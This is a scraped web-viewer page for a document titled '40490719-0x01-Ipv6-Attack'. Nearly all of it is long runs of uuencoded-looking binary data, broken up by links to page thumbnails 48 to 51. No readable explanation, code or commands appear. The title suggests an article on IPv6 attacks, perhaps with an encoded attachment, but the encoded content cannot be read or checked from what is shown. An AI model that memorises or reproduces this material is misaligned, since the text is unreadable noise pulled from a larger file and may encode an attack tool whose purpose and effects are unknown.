MTHJRJ\JT&#XS5V$6E\"/,2$H&;_^6FD905%SE*SF*&+)C/2?S1&U``8,Q1)XM_>".1I*%BH9BSO0:;%H:#[5@44<C+RIH+)?W!+\:#2.U&&3L-AZ'`>@@DY(LM@RSTF&$*1N9Y.;66=QXI?=FO$@(K8U1XF25_)!@)LCHH(PG-<D1'9/!8GV(OM"B=A0M;Q[>5KN0A]:B&NYUZ^G\EQE"3^/5]:-YD'WNH+>3+%)#^!+.&D$0"0MI*>>RAW"0_#20*SNEH%_B*0*'TV%^F$M"8M=8[YXUD_NEG*J7(I2\_+$]^Z_M_H)<D(3OHI5W@9PETLNJ*B17)'X9KJ5=3N;85IPM2,%)S59!@KW"O,VQ-`C(MU_A)G,W#%>(8`T8YB62#.FR#X+U\V"Z0UA/[`\PGQAQ"H'F.C(*Y?'5V_4)DM-$DMM-R3JS<@E<@A=JG,5C1^4])ZK=%-1?53;YK+RQ?/I>/VVC0`915C>VQGMT()IG@?O/&V0M:PO6)FTBA)),?26!#(.(S),--XQE(@5*"<]IZDE"L;AW`@?MJS*A<PDH39)D(LB:$<'_+9Q?"*G\*?S9TNPA$?!I],T=PD%6P#PJ=3:T4_WPM9Z6,-/\4RYMBH9PC-CR"+1\.!2*4_;+UF?\!R/L?U(+J>_B)TVDXD<_YR,U[M6?V\P#=47GOD:,B-G_>_'R4ES`OO/DH\7[XFWI`\&DQ2G@?O<OE2L9'KOTQ6MY*7&8?Z_1,FG_2A*/A/(_P4E5Q014E2EDS#_GY0\[N=WI.0/.7DL):=!1A.5M"AX?E)1_2YY\MIP(BE>#E/U#F.V6U`97[NVY$E/2OM[2L@\O#Q'+,HF35$](M-#,=2_*TD$AIV.>]@6J<Z[><-MDW<VLSC$!']O;V,!^&/@(*/9&2.YBD(8<XM'A9$E:L,7#6+O[?GM!6J*5Y&>+F_@>(?R94`"O*ER+4C'$SRFB'?LWL*4D'.MV@P'N.$>S()TOYR1RQD/T(H%!>Y+19RBJSX![&D6F*;K?5,>".#D<`_)F<THM(*$B1*&$!NX?4UE.(@;B+OHHVJ;PE9Q&0"#_$[#AF1<<Y-L2T3Q1$I$GFP/-MN"#/@4^4IXQHW=SNP4&H=Z'LO78WR&>*=/<%IXRV:.*'8)@4@H(BOD]\&M0RM)LB5]U-WE4IGJ*?\$!4*D3],0QU./)S_%.3[J*?8*Q#8QSALAC>6\LY47,M^M/N(Y;CU.2114'7'Q./P-)P\N4J=K=^`BP:DZ3SB^HZ[H>(LQ:]>)`ACO!JY9MLVF5E6#W7@J.%#C$*M,*'$*1I"":1&.34^+LAX[WN`6#0.@2S#R5;(F,*`9+ME0^@3B801T,=^XAD!D:C(QHWB/B2/-N)VK]@S@*.1K8NI?AA-4;488KP33UJM2V4EQZNR8(`RNTWMPN6B%25(HNHQH]*)*<W"/%@K#8CC]Q1L$/E8V-C;FT7)MN%8NC$"J<2\S%BJ+P3ZPKJ%;U#B-$1'(L*F\CLX<4H2:>XO,^+_-UCH;4`X;MM>$4AV/U+1OA+>)EE4_48?TJ#5KJ,F'?P*K)Y(EZH[UGH9,J52ZQGL*9\2N5M="-=,L$NL$X2L$G^19AMY*1/-"(V#1AQ5><O2=FGWL0P6#G^'$Q-VTZM8FV(M&G6ZM3JU@6K4(83.@PB5S=$HG5TH&[6ZNY#J6JRR-=8P`SF;5\J[WK.B<B`ZM<F>V8E:HI0Q);^:(;3AC4HR7`4?2-.95.J>F0U5=Q&5&\'*B52MWE0&>S#G2M#"=IDB44$/X4WOY,(608L>"E`?UN\6_1C!Y+`"H1P[++$PHR=I*L._0WXG3%MG`L424(1KX"HN?.M-B(QT<U]X2MWD_F6/G.+0Q/1*8NB*NN`K_":S2(R521PM5ZH$QJU*!#ENNS?RVF0<INWI=.2VV4QTVSKA0MH'.P<(6N&$R^%PQ7ZRY`O.M,_DT`*E,BYCSN0]S6'":!/$[V;2M-(BGK=K/,^%R&"Z$8=22!Q0]YLE5OCA4M$]G<2PLDLLHTLQ(K,%^>G)]*#*+6<Z6=RHR0&9B&[S!%-S+<XQ#G1>3WN*=GM6=KZ,=EFH75;97H5EI&.U_?6>M2VVXT?ZEVWC>[LX0NFH^J7O5EQK\$'8L2>MX03UYA&(SM7U,^L#O:6FT(PT+)O3]!,QSQIV>I-K:JPA%8N@Y0Y%QNLWYD7/M)#C6,*JL>_L=AELSG7,L)*DOCM7K0YD=N^0J''?;:EU@>BSCECN03_$=B38]M'3OB.Y5GT;JQ/'9^R;C<^<7%Q4D]P1>VP;.4(14^L7NM)],OLX,#78M?.%^ZM!P?'N$Y=H<:Z)GHV)FF2%\?QEYG&^26`=ETA6.JI>^29:M2E%3#"L$.WW/51MZYF"C1;NKA;NKA:#72T&NUI,=K68[&C1W=6/_JY^='?UH[^K']U=_>COZD=WM5S_Z93_$"<343/QWP1@S5NG^W@?DE?`*CA<MM+]?&;FZ$U9;.8["WPKR5:+)M/(COK4D2UPM5<[VF@S+.?;K(?3Y7N_=XH211P+\A=VV,RPV4#4&:62T$!%$1METG#,GKBW&>5GU7[7U/<L`)G;.8)FC]3B90B"R;Y6U@O6P25_1]KA-K]+?)BM;F:/G*86B^+&<"'*)8ZII\PM32K+("IY8N8PE^9+0[)*E&N2,YHWHQ"N$W-8MM^?&.';/&=!92K%)IC+N.E5<+;Q0(W()4D`3VDF/PCE/YO(N7-!$`K`_W?Z\MYE!H1!0]+!!&B<V7C6&_09ZYV;F2/I81C5LLDN64AB&%A,0<SX6E,*DU.F4<M&UR[5GBO@KQ8D7'17TIX<GUU<6#)OS\`T?183V>Z6#2D%WZM[@6+1:.3$`E?MKYC42!?UR(G(($1PH.[5F@R$@6?/5:2BXDD4PH*NH1.;Z+0'3K/[A`(!O9C%M/@H0F@6]>@NC,K-DEF#D\6\/^G)4N6"5!TCS_I2E@2<$K&<@42!*0M&5'<3NMQ+/R9L&1`=6R(<F*7O.NY(/0H!M.0J:B<]XSL?!2DD"LN9)W$O('_KR,W0HEM%"1;Q3L2QK-%EJ>D'7RXN_(?C>140T.,1,`SE_M8''AW.Q6SN]ZDU?NUW;H\M>WUV<G76RM*)187[]?P$M)MG<4;PZOSJ^N3U:U96<KW(E<7U7'J&#S0I)155M3*/6$6@(L]R+8!*)-1R%"6(J>9A8`-,+IU4=8"_](9HF`YQE5@^Z$E%PS)L*M.5HX0H=,D1#?8;&R(7NU(35^AV8*(5B#P_L4&>`S>>0'MT<4E4?2>?87FR`CMRZ)B%4VT,E2D79QX.:R+V2R8!.LJ4X9,E1%=(TCNA],)M]C7^RH:^.YY+T"HM-%Q;21*7]%`YT3S@<;&<%%$5GBD?1+E0Y4NQQ8J25)%)L%4.\C6%;!+[$E:CM>AU192EQ[D*=%!A)E0'H]WIMFJN]\1'Y;%>39!6,`.;!-A[%E/8T>%2+M8F9M/=X!_FS74",K)?:DAO8M9Q-J\-Y>R(LWK\ZOW_!O>?GV_/S5^;?R_,W)Y864MWU^_'1&`-CT%^-S@R*XUO?Q/DG]L!<U&=J\_E`&^8YJ-R/E,$YP)H2>$Z6FQMQ,MIZL7!J%UK?UUK/QAV/M">M"0-@[0!@4Q^%")CBPKYN]^*H,!R>:,.4<EW
![Page 48: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/48.jpg)
MW([LMCOH.O()_6L-Y-^_.6`*=%EO."`^D>LZ5&5"G'+.BOQ<FK0SV-U*$FOIMBK$WO_,:GCPL%>)TMM%"N_Z/':E:W.IE.:^(,@91037K[H_P0!HSG=AB"RFHMY@^F[O--H/N'^^0.[7-D<,03+W+:DX#S#KU]4H<T2?*_S=UW[72TQ4S\29JKMBF5'PE^[65E8N!YGOI6D,W$!P=I\_Z18\:IQ!^]?T/MOKD[Q_D!VL:^"_"WUM33[2B.JR8KFCT4B&DWCU:Q;\=FS+/(^.:<2Q8G],CK&,/QZ(TP#2&0X^!4AGM#4@?0,AU;6WA!O-0W<E&`C#))%43':,H:N=*'.8YMB5T<&M?$-[BN?UG74=&M29:IBQNETVYW"56:(U-`8WH[.XJ]=T<QV7'<PSCL6P/7/NH,AY;=<XZ(159_M.#RRK4['!HD?,=S8U&PI7Q/?#4R6O`F21WQKT1,BS:9X;#P@/7!(+;KTI],EM3>A!/X)Q9]3K=3H'4CPD!(\#TI`)P4/1U4.A^OF90)TF4$>-[V<"[:Q1VK9+MH=G*T-];;OJ[Y88Z:+E=]ZACMZU.KW]$7"2Y<8[LKN7TAH\1G/KW/[88"O&5M?/KTV3-Y&GXKAU;7:K<N'/7F@49??25UJES=9Y:-]+FH2>RC\-L$2?/LCJ80M_-EZ]NSEV<GIV>73IRUJ`5]S)/_Q]NSRGX=2W?$^HDF0/R-V*$-_)%W;[J$AMGQ4?R=]2F?HR];Y2C4;2/I0GYU<_GEVJQ[?7+]]<OKJF@@[]=7KZZOK5F_.3MUU0H`(4:7>&-O#I[CG^)ILT^6?5%T%?GZE_TGT$H;!6`7>T[+JG0&H`]P0+IM3-N8%D?T%-#3@&71&]!T..TJ'*8;%9I=)*ZC.;_2<S1-9+A7NMGLH\$LLXX5MQC.XYI,$T#X:@I?1-+A!!_>R')ZJFQOX=D`_T>^=MF,YG:YE#[N6JX:XP!(%M]&DD,?<$$[R].KO\@66D;=GX[T_=SA/S?(`*/[X\.Q]1>!O(TV`B'4>VAR.[M0UX8M'*(&OB<XM6K_SJ3,IW<DF3:7?O#4W-M)M]AK*L:?)?#UCJ/-MO*Z&WQM>L2ZVX,#$'*>K#)<&7PH;?4)7F.XA"3_>Z?W9%=@Y),':K$[6%8EQ\\9]##UMT:C0<Y]&K#_0SWW+Z?(D+YT&XC*E/+(;J&KO`;??L09#AV$Q4KSH=PQPQQHZM70;>@3RZ`X=X#$9G]_XRN+=6(78N<WX9U_W&4O&[/_5&X]%HH!$,;1?P2OA=M\IT5?++#CL/P72EG0:O=<EHN`4I).`E%NV.1`;1^>//\[16&TR(7#WUQ5!80MG!KUA@<EZ42N/2QYU';+1[O782Q=C87^L\;^1V!Q>Q66GC7L&]"NY3@]_=RSM7%NA(86;]5L=0F,[?2"R@6?+'%@3SW&;1MLE3/W.$$.CD1&"<J#;)2KR@WH]M1M6G22/)^JH_CN7YD?,@&M:"X6CD8&R&KF4/>M78#"%,&L>P9W5=A6-`W0GMMUA`#8P/%PST9H"?3"D5'R:I&0>/2[Y8H!AW%L:&D$,%IV5::JUX\`L6@0M$=MKJ$85"BZ0^Z%W9:/=&HVV%768_CKEH.1M%TM=\..U5/]Q>/0Z3_"O1#BS2(XME/I`M[J:A@,BK5I?R-<!-@7S;<@HY#WJ:<#;;=5>7M'<RZMWV7:1:3Y9-C;[ME\"W7&5@-F5G(=8/8U6")45556U\P(H@-FS[87U_P]<J^<LQY#A(@T4&$I&\MJ>\Z;V2$Y8)F.,#!(J]*5*NU.T1\"QIXD2=)E$G.8^L]KXN`ER61EJ'ZEKSFM&BN<ZEKHM;EF\EP=&2CWY&H">&/5&`MWWA*G1+#\C_U3NJ/E6B:V$?3)6OUTM&_Y<;HI'H]K&@U<7G(CDK5>"[W@O4_`&7GUY>[.YWHVO]F[Q1>_XL'8XX;0@M5L,+RPR6/B,C>6FUH!B#<_78(F.VA[1PF43@Q>7E^+%9N:Q6#CAC?_W\@BHCM4L$@?[#ZV],++.1ORH19P98ECTE,L&-#'8[R^'A>=6)&;).K:@7AHFS+QQ#TM:1Z5[5>KXM@I)7@I7BW+JQ,$$T_E.?5&Z3H2EE9//K?D97D@01]1V$9,<RL0MKU`WE[)Y:XD[[)!,\`;MJX"JY7I'P4H?9S![U9O;'%8;9S$44K&J?1E!'8-1MV\1PL*A<V%]/Q:O/KQ_6#XV(FV+FK66/ESZQ*3<$9=17L#DFT<FW#2,K495-M5TA80#7:^O:&(N>=-&IG.;2$6"+$,_T18`BCNAOC8&/77ZPH4*/F!]DB#5>EM`EK4DK^DO-D.K\$EK3U5DE0=OBN;ZX\E;T.\+,`>Z!#D?)$LR5B%:*._D;RUM#?4Q;E3F.R@/)*FL^H3`0:E6NYN7NT/H+U8]!6AR"^]3`8.&YXF!1EKW.&A"M:GC$_.<\3@\S_V'>FZM%-EMJ!B")IR3C7YD5G'XW:X59L$*"/I.L6%IT5[OUMP%=SEFLRHE"<0[-6')LM::511[*8TYT*3BF7AWRYSX+F:,%9H9K55SL:RN7HM*8EE%LKJG$;K8W_$>Z9X;V^/'WIX^"0H^G8#P#$7'7PJJ'#)=]$`5+CLF>=/M`I5-$OY@^:_A$N#,]\OIS\^@+LA_]?*$#(6BD/Y<\9_RKX!I:A`:5>.36<IPMR))[-4STY\I@^A28,WP"(\O'][A0EN#RFW`%G[EZ5Z^G^]&H9]Z)]RPW5(*6M?,\.2*N]+^_?4>\_GF+Q&JH'69\7XT(OFVU,P.7.HK7CF%_KXXU"+:@IWQ`:MI*M(?#`E#YJK[IOPM<\HZBW+A<_ZS*G)T;->=:H69_N6Y77`AX)<QUF0<N:.M#QK2_!('\'P/Z]1A+KTM(K)7_$TP8SRQ$P#=9+M3JSK!M)UBN:1Q9*S1MP:!MHO2US'N-0K[TV$&'F3([7=BYQ08M=:+5;"3DDZTUG[Z&5;G\#8QJ0R&O$U<[M%7.VD@9@[2BIWE?"2^35TK%R-NK[.\ME5P_'`<MV?`5G99S-UTS@Q1=8-\V]M0AUBS8N5A<OAS-UP?ST2_[+WUS6NT:E]/_N/Z^K^N*[NC^OJ_EVOJZOM8)YAME3SDG8;&@RWC-F(\SX-L!Y[7;*;><7PH5!!F-I=7?B.N(5+9IO^0L\E$MA)]M1Y>YJFO2J$*S:"O21:*5WKU+6_A?VA*UU*]AQW8YG=^RG9;CRK8]:KNF31V8MI2^'TYM#'&2S)YPO\R>CZ;C7^S/Y(FW9Z0R&0H_HPS5IG+CRIR&QQ<;8/P:[email protected]@]UQUUD%YWG$TTN^KB_FGG(?`?S$X.VH9SCVQ`**G-5I1FM(0<TE<^;(EYO+,3W-3$UR159G89:(+">R4FQ*'`S2AJ0**MS"28IAJU2,Z&3M@/_3WILTMY%E"V.]K?P55Q1+!*HP3P0A0=441978+8D,DE75W9*:G0`21(H@M@$8"(ME/ZL6W\\IKAS>.L,/QA7>.>.&5(QS1M?+*?\EGND,F$B0DL:K[O4=4M44#>O/-P[IF/T0PT55I_&U2WB\(9LN\J&`:13ZX\.LC)0RP$_008+*<'1%_/MGX2BC>AB-=1BDE'B15VX:4D?]P!0/#J/$I[2\4N"BF+$.0K%03A:GE`5K`(V
![Page 49: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/49.jpg)
M].*V8!K!9/\R''R"/`3YC&L.`B0&+_PS,O\7)<V88B8U8WDFA`&PE2(+P1VWM`N?21<$#/<M,3:X6XIW$+C%CQK[G7`,\U!@R?C8(\2+7$X`^3?WIE54RYMQ4MV7Q"6)KP:1AUI$+0Z_DPH$!RQ"E[\=-!3KU"CWQ'+X\/<A[]/-@_J#+&3(_/MC@\<W2)B5[@,.F&VX4)=IR^TX/U/O0XOD6FWPU"5^^I@G32"C(:36;;+A+D8MC]BP$/D>>M(\:I]4**W&H]&=M/#XT_TG:D3PSFWB;;A-="]<>ZQP$7D'V06(M&_.D+*4+1!-E?\D+[Y.:JGS.I5<I7]?@KW<S?5[#>`%_:L.)6_AS&UYZ]:_6MATK\:DW<)@0.=Q9X#XNW`.8C$_O@?3#T)-$5*K`S*1*BS>9:Q"`894%M3WPTM\$,3C=/P?#(D8RFV/;8TMS`/EOOI$;]<'JDK9[JHCMHA!U$]DM6([(6,X-&3MGP)@?2^[email protected]]<J/W7\2_:.GKT(T"[',!6$\.+KH%(&1(>OB/5J(`>-/M#F9BP+(3Q.0NA@G',%F,55*Z+%>0C5]N8H2L7M`-S_WAOUCX$N_W;*W!6):[M7Z;^!3L^$,U\0*N,2<P9<NQ0IF_X5Z-WVF9!+A9]DVC/3M==)(!:CO4.B>^\MFW7>7+!W7<84B/=%S2:F>[7VRW%@QSM:O/CAW&@$/F[8[]B>9XQTVKOV1LL:M<IH=@++C#5X#=%IV"G5YPG9!@Q9^,_//&5YI8J'GN.M3KR_?4JVO+\.W&H5'M-Z+L!X*`HW%11\9!H8$Y1\$L&#*)GA#_7B,,;^1(36+*0EOR..>Y/@:LR5!2M1+?`HT[PH;U%T-UCZHG[/M,^/,6')FJ2-%"3Y*GU8\"QK$EG),UKAVD!C3*,MEQ6#1<>MB8WK0$EYN;TC5)M86-.D:7FMR`5$-<;Z5B"&ODZ-QNA:C_FA!?4JMF3?.1]_;>6D%W^=ZBD-WX]$0V&,MK8\Q8$`?'4/3@N>VJQT!QL65^&.!N\TJM*T2^H7T6B[+9ICC1$NJJ+%(Y/`#2H"'-!5X'$4,H&D(>1Z-(TR;RW_GLTW00M]H!&3QT1=0DE)6>AL:,C*HP4(GZ$C,]]H$*F5K4&!3)J`TCZ]T%C8V$OVN[@MO>WX0AF=XLZFPO1&^\9]YYX3\M=+_43!$4#49J%<T@H-L"ED)@I&(H$G!0K.MI%OD@"4^/R@J=B:/_;70!O2L@Q3QO&&V,!QH4D)B$=0B@.*5HT7U](P65,9XM`27.A79`XEKBZ(:$\I".&+\WC@6GX9<L>K>QALQN$YY1E0CCU5LW)]F">R.UM_EYTO4.O6[.)NNXGTPT+!G;7U!%.X'"&IX,/I]-@HOZ,X'LI#%>HMD\M#(<(MI15J86*F%F4`]%D=[F[O/-]^\F)7<S*T\AFKS'2(31K?T[!LG0"Q3)G#@=BZMCF`MD7U0)B<ICIEFS..)A0`%D6,:_R2*O-(XAYL*Q-W@N!"D%QIMO>_4#I8%M]#MT,7+79T5BGYX%Y'Q"'"_$'%E8;;&7?)$Z7(FXAA8%BT7%-3)'U)=9$)&>MG7#I'!^7XN1!WZ"P\7!OX5"QZK`7X!TXAYMTA_Q)8[-(3N22)NS$LT%5O:Y(M;S58-!P<YX(QEQ<#1W;]<XX.WM\'!70GW`N,M^D)#&K*A\.?.6Z=7*Z?3(0UMS49HY@D`)DT8\:&&FD/.F@_P2CPC3]9=/,P'VMJ5P9>G19<&4L&8\'HF:-B9MA\,>*4Q/AALN(Q$%EP%&LV>+7"?$@BB;&1/=#3?\`D+3X@8YVE]@*KEM)2-BM:<KEOCH,@!ZX4B/8DTS9H-V_HNNQ!7@\,I90(MJ=/:3?%_X4%R$""@0N)'Q5M&027F:SW;X#R0P*[H@WT"^_\*K/>"6=9U5:_/7F(["1Z'HYS^#4(A?&#GD':M?U?%?!$Y0)#KM_X,TMHFPC%E)W$*9,<6URD#R@,![#@)&-/8$=*HM=W#PWOJM.?EJ95($=L04`,\,?=:^V<B_V0"XAXYX`[C^3C$2P(QP/H#C07_&[#"18&EIM#H\`AF0Z\5!2!Z%-+6.J$1IQF39]V]SF^2/)&.?3T<+T?%3W=T<]<K";,K_>M_4-)09::P^\K.?R^M1^.MK_?;?%8)(G8">LE%2<WU2%"@L?J]2.CL/3X;:R<M\W/WLOU8Z7HJI5JCU2_Y_3Q[D_%+?JM;*I7RW5(9=>;IOUA-L>($^OF_"I`.M#8;_6T$K:/B=?-#H]]^,J+0IOGU\O/L*35WNQ6HM%]0?QW,`YN_)"B3`8:"YMN7';BX+S+J*&2*[!CGZST6J]V8C542E\Z8:1BJJ`-_75%?1G,O2OV"4R2N:GM[^$8TKSGL9H(G2]CKK/1^$)=H'8:/O7&L<IJJ+#J]^SU/L/@H&>K%K=*!+UQM$(W>D!=J@[email protected]#/,",T(``F>G/QX.QQ<<3".,[J5PAD/<(`\7N,SRHKU&M:('#J[4OUE3!<&5U=9GU;CFWWJW`7Q7^:O!7A[\&_&W"7Q,.`P6X)V)H[3&!M-MC\*&/V"&0,AP1'E$"-%D`-?1:PDPHCF`_]:49R(F^FZ9P2@A2?OWEB,]-!MNWL$!=0200A)KCC)99M<=9(K-KGF)%=M<MU)KMGDAI-<M\F;3G+#)C>=Y,VWM#ST#G<L"?\H`@"#/`PWE*2UKH7A%\E52\E6<?%7)5TW)5W7RU21?+25?S<E7MEWSUE'QU)U]#\C52\C6<?)N2;S,EWZ:3KRGYFBGY<'=ZJ)P!F[AM)FLXSCZ$MA$<V!6$ZI'S[+6X\SE\Q;RN<OV+S5SA_A?-+@:IY7>4"55N@R@6J4D!*U,S[M&I>HV1(U+E'3):1(W62H<Y&Z+5+G(G531,HT3(X&EVG8,@TNT[!EI-"FR;+)MA39MH4TNM.D4DE)-DZ?)I9JV5)-+-:G45XA?P)JT&_5RO8()HKZA,FM?_Z&5M]C\K@MP`C7(,RV#9;84$TF^K5@&:-W=WA6I7[^6*E7W4JZ%_R#=_?30Z,Z+AMHE&8J8NL>'%Q+KOQ873;)6/0<:'/KB0(YX=G(Q0AJR#-6Q63(..DAM7$$?5QM(]H`ADR!8I`/.YN?HG2/P]"<&T>OEI([(Z4[(EC.D`514,^0,DCR/[P8KHTQM,RC:#76`2(D-?5D)TA^RW$/<_9*XWEMD"HO@Z(D(CIY9P=&SW=:SW2<D."JOMEJVR6K;J:MEJJV6KKY:ML5JV30]E%%DDMUG%R?5N9"ED$C0AQZYH:'DA=S6SM2X*<$+>KR#2\^MZH1%AZ+8)UBYB!59A<;;#6AI,TW."*2'<DC8Y3#JVF;=.TM$=KH-,]?3`;C/]XR*H^8\L4-XMNFT'_><C&6T__E-.#Q`"TV\'U,H[2%K^;8M'?1),))LD:L]RBBMZ,5`G:\P(,5(O?2!A.GWU0.HX1EL\2Y4_3R:NX*RW#C*M30.2&>5F5#$QC\GW.#.8,B:YP"UG4;R#;PA$M-7KMYZZ_P--8;FD9M([:(H"MJ\`"J@CPUX*'=MGZ;1NSWG]"XD+458PT>JM&<PP&A,4[.!>]P$<"6`7O1]B6M[<ON>T`+@>!5P^Y9[,6+<?<,TCV@_/OJY`36>79RDH$]VL]U1[-<.,'^J^2@
![Page 50: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/50.jpg)
M"K&<1.'BCT(X@<K#B7YDCPZ0E"_KI.YX3EV#RJ71Z7S$M6!#P_$I@9ZV(J1YMS>P$>+&66_/7LJB+&HYR$P!+.=A(4\P:%2:8O9I9TTR^BLI'JJ36OI5NY=:FMNFBA.QQ'`<Z%ZI[W4,FXK;"V`@X,?1Q&]"X\'>.;:5"(`G_:'636FHYGD;4<MET7:@<A[RM\RZL%(ZF;L@+/?KJF6>DW\OMVG;VV_L,`TZ(ZG/:0`5BOS[1I<M=UA0)JO`]DI<#?9&A(K7=N75_K%*[8ZNU,Z2XGD[A47HGA7\[E_G<.`S69-JM=G<!;1?>![R:/"LH54[DRJ+(E-/L%L^SMP!.QMU;0-WH;"*M.X2E<%K&_DP#M2*2>\G8:!1=<9X:&FQM`BZWE(SA%ZH-/KLV?,C1_@C:(&<B_K'FJK$#6S?ADM^D$+"ZA`]QP-6'H9\P)ZC!TF%7;L8HH0OM+RU*=+X5\@I,$K'P7P"0D\'I8YMNO(\2QRNK*8H$;@5NO@O#0.!#RK23^B@T*ET1-)RK@"[9;YS..*LRV=\V:9XMO+@IG"V1G&IW5USX(6\5N^_3EX=2[?X8Y;#+A2ER"B>9+&89?=LNL[HZY1XBM&I7<"GIHZ%UEC$OGI<^<YF",9W`1/<?)(6DC7%,M]76X]G5FE$55-P"Z:*ITM<H+'8N/D!+?#R<E&RY.-X=%5YYA21./S@-@EG?GIZ96Z&`0C9?R'H"W]?`3#MZP[(0D=$B5Z:]IASR^;0ECP\BSEJ9"D0!>\B;X^`VLG6<Z_GY([S1)G%[-/8M72[XI.<])Y>-EE-.FR<F74C!1IWMNI'SK#!)A*FV-N&SHX2+@B$B8SN<H=W5MT"B"1C.$WU[F?`P7V7B*PJ/R`F!<%9?]O((5K_IY!:O>YN<5W/1JGU>PYM4_MKV#=:WY>P:;7^+R"#6_K\PINH7>-SRJY[96W8G?U-:6>.:LH&KSN$3%D(078M0(F0FK$5_1`5.V:\D3MP/LF9/0#+\'Q^[LE5P])`+536-*J<CPE3&9JPP";YMW(F03+2@@W[`Q,5+KEO%ZN9HC#Z9]T$[1)B(LUAQC2`!XZ348\B50^^,@.1CM&8NK99DRT0EHIBW12*FDQPKV2%CZ9R&.G..P!--SKBDXBX*S.8KBW>D+C$?&M4P"*0+^CG@A`PG/C.`!EWPF1'FO\B\)$!IOA^8/N&;KL.X`01ZYH-AXIA:!SMT@&NT3,G'2$4EE[!F)GRXI8Q4BW'3NGX$O>`1CU#NIW\2*-/#X#M&`E%`!?TMG74<T6C<B%2#[F"LS;'T4L2TY-8N+R_7LD7.O@NY#SDSWGPZJ`*!S2M#W6/DMRE-7\8-F@S8.;2&ZU1QOUQXKBJ4YCA8D]^FK(XD4<>0HC4@]%[#0PY"=,4M^M])I64'\T*A):3IEBFZF[UV,];4<^;8(U=U$$&I=PGH['>,V?P3KT*"XJJG4@M+X=46SRIS#&MU<)GMW\_Q"7`4!NZ-:&;#'653(13+=OG8TE;9H,[P*)5HI1/M@UEMNQ`--@I*M&2X.B^^Q18.-:\8O!_/QACJ.B(_QP=LS:I54F-,*SU3W(J9MB:L+'!E<^=-ABV[L;SPV$K!=3;R5VSQ>:]B%O3YS+G`N?@*W=[X[+LPN6>'7MN9@]%`O1M:P`[OG\SR*#"3WN,28Q/2W,+L2'L+CMQEW80&>L!0GG#&@-(+QAM?AB$D[^%IX5>$*N`'J+P\C*BHOC413R"'-U3)DQ&#]OX30F#P&:]@FYUPUE8MZ(1_HQ16F,B;DL+\H;5SYN\3S"RXU#7B<`]//:#7:)'2:OT`$&3[%*A]%GT_M/SZ&Q)=!A-3#PVLDX_?7H>[+J_:&N!='GU\E^*_<JI8KS0T@'02A_9[WR<YXM%,%))2E24H"K<=^Y)EE$7OJH![BH&&O$)4_XHJVK8%D/;/EV8DADOO'0@U?YMQZ*WFZDB64,I/F;)K+T\VMLM-@HE]1.&O;V(4-)VGS+0`#,X/C+OH,<L$B02M."DC2=P^D8/!M%WB1_(Q%``87>/G:1#-A_81+U+SP$>`'MU)0\`^)]Z-/F0MM'CG-R,4`#DE&ZE7W_JZ*[-<<(P[X[^"$%U%?0:&>P3KO"3B"[34G4(/L%'0%MSSR+[_[:)I$EMH'&,P\&PW;8>S"<MA\0G<IO9:"4(?+;KVAUJ)6IWX'N3&"EMD2-#<PA3D+'-$^?'S)3^\6VYQ#H/*G,O$ZLE_SB,3J)YMPO[,9M5KLI#,B/SMCDXXD/B:4J^?;>^]^.%P]ZVVS_U(])[4@9)4GJZV2E3D0XMD'<\J$6;A.+\HM2D3#()BH,C^@[$66`=4[9F0!UAV?%8GR5%JF(TL[PFL7,V]$0#@"RG'/J%]8M!0P6+-"/^#I#`^?%1X,JQR]L3Q\_\A7@/_WV6N&;[V!YOODNT:I3,$HOF(%"M62ZZ7B[JGM`.Q=DIZQ1<'TG%3OR9=Y(569EW49%>O2F^*5+=;XINQ7J[Q^K^M>$T;T36-1)_82FPI=!;8+\X2$'*Y_VSOQ6YN[?'CA4M(&WOK2BCGDJJ8)T8YMLG95458D>^'-Z.G^JUW>`/>5B(_P\O,0Q;)\_P5S47OK)_&8./_?2T=`#NV#MJU+--S`'>6`W2:2>9BEA<^&*B$CWPG+WES#WHT%Q(T7V@]<77EW10',M3(W+M+J\7^]_C?+;7:MMY'A.M"JD^O%;YOZFU]?*:>@L43C#R&,M=XZN$I@<Y,LCFMXH/6#TF<K9[NO]S>>X7,F[_`',".^0M@<KKTT_#T%('PNN3*(`,I"W6X_I'EM)2MZ8@K_RK]7;QY^\"_.U,:_::,-[.!;Z%3](]R2MU")>@R7DTS+0P\CMWOWM=_>?>9Y8()KPX4ROF!TA>N9)M"LVK[R)4@1Y-M3%:XT>P43.S_$V*0A!ZY>;M:!91:K5J%9L-B;4KPL4TW=MHMAJE*BI2E5NMNLTI")O.UZV+(U>HL^RWMBJDM/56KMGJ-!I1*HG4%QQR]U&I46RWHQ"BJ"#[FOD9E7'Y;37E;-6]K*6]KYFT]MY6U=WMZ`8NHBC6JSM56JH._5<IDGXMQBFSI7LXKSBK-0:O58APPF>;.[V?5>M:T02\_JH/EQN-ELPMZU6LZ212T>;WD23$V3<@1+&FL00XY#/AG3QSEB-TA4)MQYF$3*\[@L3<`N?-LWX'M3F$$)*:J;"#I#.)M!T).?R<L]'*9#RTJMX3K=$.M1*,LA3J`;.>4C7:P/_K.K0BUG:I5#*U&#A;);::AM-'!$6#J1FB*E1`!:>WQMY]%\9/2*K4>7F`U>;(H,W:A)/VLA(&25,X%><@+1JB9Y$SBO%PTNF%T3EP@3MF>D)#T;[FS*]<*LV>@&\)MT`]@I&;>)4SUJ_F/A&S,,1.X<8/0\;_ZR@)&A=M%U":GK3M)2(P"Z53+I7(SV>ZUJ\[Z*4"WSU27L.&,UGD=2.'>!CVKU@22A16M\#Z`&9QIYP\^S$2_CP'*W@,,Q<>YB$Y%G*G(TNE\/$4#I^6T$3X=782S[H!_M'^P?[?V!5<\TH`:\)"Y/84K@Y?8?3G:>[[UX2C)<0(L]O!!:@,BSPO#>P8^-M%WM'Q^)G:#4J*L%RC]%3A!,1RH/5YM8>Z1K7R!MA+PPRB+K`13C)F-;;C_#?
![Page 51: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/51.jpg)
